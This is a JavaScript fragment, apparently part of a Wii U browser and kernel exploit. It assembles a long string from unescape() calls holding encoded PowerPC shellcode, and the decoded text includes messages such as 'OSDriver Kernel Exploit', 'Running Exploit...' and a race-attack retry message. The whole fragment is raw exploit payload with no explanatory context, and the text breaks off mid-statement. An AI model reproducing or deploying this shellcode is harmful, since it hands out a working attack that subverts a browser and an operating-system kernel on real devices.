unescape(\"%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6\");\n    str    += unescape(\"%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014\");\n    str    += unescape(\"%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%u9cd8\");\n    str    += unescape(\"%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u32b7%u4e80%u0421%u3d20%u0102%u6129%ub3e4%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000%u38a5%u32c2%u4e80%u0421%u8121%u0008%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024\");\n    str    += unescape(\"%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u32d6%u4bff%ufc81%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14\");\n    str    += unescape(\"%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000\");\n    str    += unescape(\"%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1\");\n    str    += unescape(\"%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78\");\n    str    += unescape(\"%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%u9cd8%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u32e7%u3881%u0094%u3fe0%u0102%u63ff%ub3e4%u4e80%u0421%u3ca0%u0180%u38c1%u008c\");\n    str    += unescape(\"%u8061%u0094%u3880%u0000%u38a5%u32f4%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180\");\n    str    += unescape(\"%u3929%u25d0%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u32fb%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0001%u38a5%u3315%u38c1%u0090%u9121%u001c\");\n    str    += unescape(\"%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u332a%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3331\");\n    str    += unescape(\"%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3347%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3354%u38c1%u0028%u7fe9%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3366%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uef59\");\n    str    += unescape(\"%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u336c%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3374%u38c1%u006c%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u337d%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u338f%u38c1%u0064%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u33a1\");\n    str    += unescape(\"%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180\");\n    str    += unescape(\"%u3861%u0008%u3884%u33b0%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378\");\n    str    += unescape(\"%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%u9e94%u3880%u0000%u4bff%uedd5%u3c60%uffea%u6063%u9e98%u3c80%u1400\");\n    str    += unescape(\"%u4bff%uedc5%u3fe0%u0102%u3ca0%u0180%u63ff%ub3e4%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u33de%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33ed%u38c1%u0084\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u38a5%u33fc%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008\");\n    str    += unescape(\"%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u3411%u4bff%uf845%u8161%u0088%u3c80%u0180%u7fe3%ufb78%u3884%u18a0%u38a0%u0001\");\n    str    += unescape(\"%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u344d%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8\");\n    str    += unescape(\"%u3c60%uffea%u3c80%u0180%u6063%u95b4%u3884%u17e8%u4bff%uec75%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3481%u38c1%u0078%u38e1%u007c%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99\");\n    str    += unescape(\"%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue175%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3487%u38c1%u0070%u38e1%u0074%u3900%u0000\");\n    str    += unescape(\"%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue129%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u348f\");\n    str    += unescape(\"%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000%u7c89%u2214%u4bff%ue0dd%u8081%u0008%u3ca0%u0180\");\n    str    += unescape(\"%u3920%u0000%u3861%u0008%u38a5%u3495%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214\");\n    str    += unescape(\"%u4bff%ue091%u3c60%uffea%u3c80%u0180%u6063%u95f8%u3884%u0058%u4bff%ueb31%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u21f4%u4bff%ueb1d%u3c60%uffe8%u3c80%ufff0%u6063%u5140%u6084%u21f4%u4bff%ueb09\");\n    str    += unescape(\"%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u21f4%u4bff%ueaf5%u3c60%uffea%u3c80%ufff0%u6063%u91f0%u6084%u21f4%u4bff%ueae1%u3c60%uffe8%u3c80%ufff0%u6063%u4d44%u6084%u2214%u4bff%ueacd%u3c60%uffe8\");\n    str    += unescape(\"%u3c80%ufff0%u6063%u5144%u6084%u2214%u4bff%ueab9%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2214%u4bff%ueaa5%u3c60%uffea%u3c80%ufff0%u6063%u91f4%u6084%u2214%u4bff%uea91%u4bff%udfe5%u8121%u0014\");\n    str    += unescape(\"%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u01f4%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udfa5%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400\");\n    str    += unescape(\"%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf85%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%udf71%u3c60%uc080%u3920%u0000%u6063%u1304%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf55\");\n    str    += unescape(\"%u3d20%u0102%u3c60%uc080%u6129%u9cd8%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub3e4%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054\");\n    str    += unescape(\"%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9120%u9121%u005c%u3d20%uffea%u6129%u9520%u9121%u0060%u3d20%u1005%u6129%ucb00%u9121%u004c%u4bff%udee1%u8121%u0008%u3c60%uc201%u38a0%u0004\");\n    str    += unescape(\"%u6063%uc15c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%udeb5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc15c%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8\");\n    str    += unescape(\"%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78\");\n    str    += unescape(\"%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6\");\n    str    += unescape(\"%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034\");\n    str    += unescape(\"%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300\");\n    str    += unescape(\"%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554\");\n    str    += unescape(\"%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353\");\n    str    += unescape(\"%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765\");\n    str    += unescape(\"%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045\");\n    str    += unescape(\"%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400\");\n    str    += unescape(\"%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76\");\n    str    += unescape(\"%u616c%u6964%u6174%u6552%u616e%u6765%u004f%u5347%u6574%u5468%u7265%u6164%u5072%u696f%u7269%u7479%u004f%u5347%u6574%u4375%u7272%u656e%u7454%u6872%u6561%u6400%u4f53%u5969%u656c%u6454%u6872%u6561\");\n    str    += unescape(\"%u6400%u5f5f%u5050%u4345%u7869%u7400%u5359%u5353%u7769%u7463%u6854%u6f42%u726f%u7773%u6572%u0053%u5953%u4c61%u756e%u6368%u5365%u7474%u696e%u6773%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174\");\n    str    += unescape(\"%u6520%u7468%u7265%u6164%u7321%u2050%u6c65%u6173%u6520%u7472%u7920%u6167%u6169%u6e2e%u0052%u756e%u6e69%u6e67%u2045%u7870%u6c6f%u6974%u2e2e%u2e00%u4f53%u536c%u6565%u7054%u6963%u6b73%u0044%u5256\");\n    str    += unescape(\"%u4100%u4452%u5642%u0052%u6567%u6973%u7465%u7228%u2920%u6f66%u2064%u7269%u7665%u7220%u4120%u616e%u6420%u4220%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00\");\n    str    += unescape(\"%u4661%u696c%u6564%u2074%u6f20%u616c%u6c6f%u6361%u7465%u2070%u6179%u6c6f%u6164%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4452%u5648%u4158%u0052%u6163%u6520%u6174%u7461\");\n    str    += unescape(\"%u636b%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2066%u696e%u6420%u4452%u5641%u206f%u7220%u4452%u5648%u4158%u2120%u5265\");\n    str    += unescape(\"%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u0000%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020\");\n    str    += unescape(\"%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b64%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6\");\n    str    += unescape(\"%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378\");\n    str    += unescape(\"%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c\");\n    str    += unescape(\"%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6\");\n    str    += unescape(\"%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001\");\n    str    += unescape(\"%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214\");\n    str    += unescape(\"%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048\");\n    str    += unescape(\"%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378\");\n    str    += unescape(\"%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421\");\n    str    += unescape(\"%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378\");\n    str    += unescape(\"%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040\");\n    str    += unescape(\"%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308\");\n    str    += unescape(\"%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024\");\n    str    += unescape(\"%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398\");\n    str    += unescape(\"%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398\");\n    str    += unescape(\"%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec\");\n    str    += unescape(\"%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70\");\n    str    += unescape(\"%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080\");\n    str    += unescape(\"%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010\");\n    str    += unescape(\"%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034\");\n    str    += unescape(\"%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6d%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8\");\n    str    += unescape(\"%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0ada%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c\");\n    str    += unescape(\"%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c\");\n    str    += unescape(\"%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060\");\n    str    += unescape(\"%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c\");\n    str    += unescape(\"%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008\");\n    str    += unescape(\"%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc\");\n    str    += unescape(\"%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365\");\n    str    += unescape(\"%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832\");\n    str    += 